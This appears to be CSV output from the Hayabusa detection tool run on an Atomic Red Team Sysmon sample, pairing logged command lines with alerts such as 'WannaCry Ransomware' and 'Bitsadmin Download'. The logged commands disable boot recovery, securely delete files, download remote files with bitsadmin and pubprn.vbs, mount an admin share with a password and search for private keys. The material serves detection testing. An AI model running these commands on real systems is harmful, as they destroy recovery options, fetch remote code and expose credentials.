C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.958 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\vds.exe : Path: C:\Windows\System32\vds.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:46.112 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.816 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.865 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures : Path: C:\Windows\System32\bcdedit.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.865 +09:00,MSEDGEWIN10,1,high,Modification of Boot Configuration,,rules/sigma/process_creation/win_bootconf_mod.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.997 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bcdedit.exe /set {default} recoveryenabled no"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:51.997 +09:00,MSEDGEWIN10,1,critical,WannaCry Ransomware,,rules/sigma/process_creation/win_malware_wannacry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:52.010 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bcdedit.exe /set {default} recoveryenabled no : Path: C:\Windows\System32\bcdedit.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bcdedit.exe /set {default} recoveryenabled no""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:52.010 +09:00,MSEDGEWIN10,1,critical,WannaCry Ransomware,,rules/sigma/process_creation/win_malware_wannacry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:52.010 +09:00,MSEDGEWIN10,1,high,Modification of Boot Configuration,,rules/sigma/process_creation/win_bootconf_mod.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:52.046 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:57.227 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sdelete.exe C:\some\file.txt"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:57.274 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:04.103 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:04.131 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1 : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:04.131 +09:00,MSEDGEWIN10,1,medium,Bitsadmin Download,,rules/sigma/process_creation/win_process_creation_bitsadmin_download.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:05.365 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.640 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /create AtomicBITS"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.660 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /create AtomicBITS : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /create AtomicBITS""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.799 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /addfile AtomicBITS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.799 +09:00,MSEDGEWIN10,1,medium,Monitoring For Persistence Via BITS,,rules/sigma/process_creation/win_monitoring_for_persistence_via_bits.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.807 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /addfile AtomicBITS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1 : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /addfile AtomicBITS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Windows\Temp\bitsadmin_flag.ps1""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.807 +09:00,MSEDGEWIN10,1,medium,Bitsadmin Download,,rules/sigma/process_creation/win_process_creation_bitsadmin_download.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.807 +09:00,MSEDGEWIN10,1,medium,Monitoring For Persistence Via BITS,,rules/sigma/process_creation/win_monitoring_for_persistence_via_bits.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.900 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /setnotifycmdline AtomicBITS C:\Windows\system32\notepad.exe C:\Windows\Temp\bitsadmin_flag.ps1"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:30.917 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /setnotifycmdline AtomicBITS C:\Windows\system32\notepad.exe C:\Windows\Temp\bitsadmin_flag.ps1 : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /setnotifycmdline AtomicBITS C:\Windows\system32\notepad.exe C:\Windows\Temp\bitsadmin_flag.ps1""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /complete AtomicBITS"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.041 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /complete AtomicBITS : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /complete AtomicBITS""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.134 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /resume AtomicBITS"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.157 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /resume AtomicBITS : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""bitsadmin.exe /resume AtomicBITS""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:31.240 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:36.834 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "" script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:36.882 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "" script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:37.264 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:41.050 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c "" net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:41.085 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd.exe /c net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c "" net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:41.109 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator : Path: C:\Windows\System32\net.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd.exe /c net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:41.109 +09:00,MSEDGEWIN10,1,medium,Mounted Windows Admin Shares with net.exe,,rules/sigma/process_creation/win_net_use_admin_share.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:46.238 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.466 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""echo "" ""ATOMICREDTEAM > %%windir%%\cert.key"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.524 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c:\ /b /s .key | findstr /e .key"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.524 +09:00,MSEDGEWIN10,1,medium,Discover Private Keys,,rules/sigma/process_creation/process_creation_discover_private_keys.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.557 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /S /D /c"" dir c:\ /b /s .key "" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c:\ /b /s .key | findstr /e .key""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.557 +09:00,MSEDGEWIN10,1,medium,Discover Private Keys,,rules/sigma/process_creation/process_creation_discover_private_keys.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.570 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: findstr /e .key : Path: C:\Windows\System32\findstr.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c:\ /b /s .key | findstr /e .key""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:48:57.570 +09:00,MSEDGEWIN10,1,medium,Discover Private Keys,,rules/sigma/process_creation/process_creation_discover_private_keys.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:31.690 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.150 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.180 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.180 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.227 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.249 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.249 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.304 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.335 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.335 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.389 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.413 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.413 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.463 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.497 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.497 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.551 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.585 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query 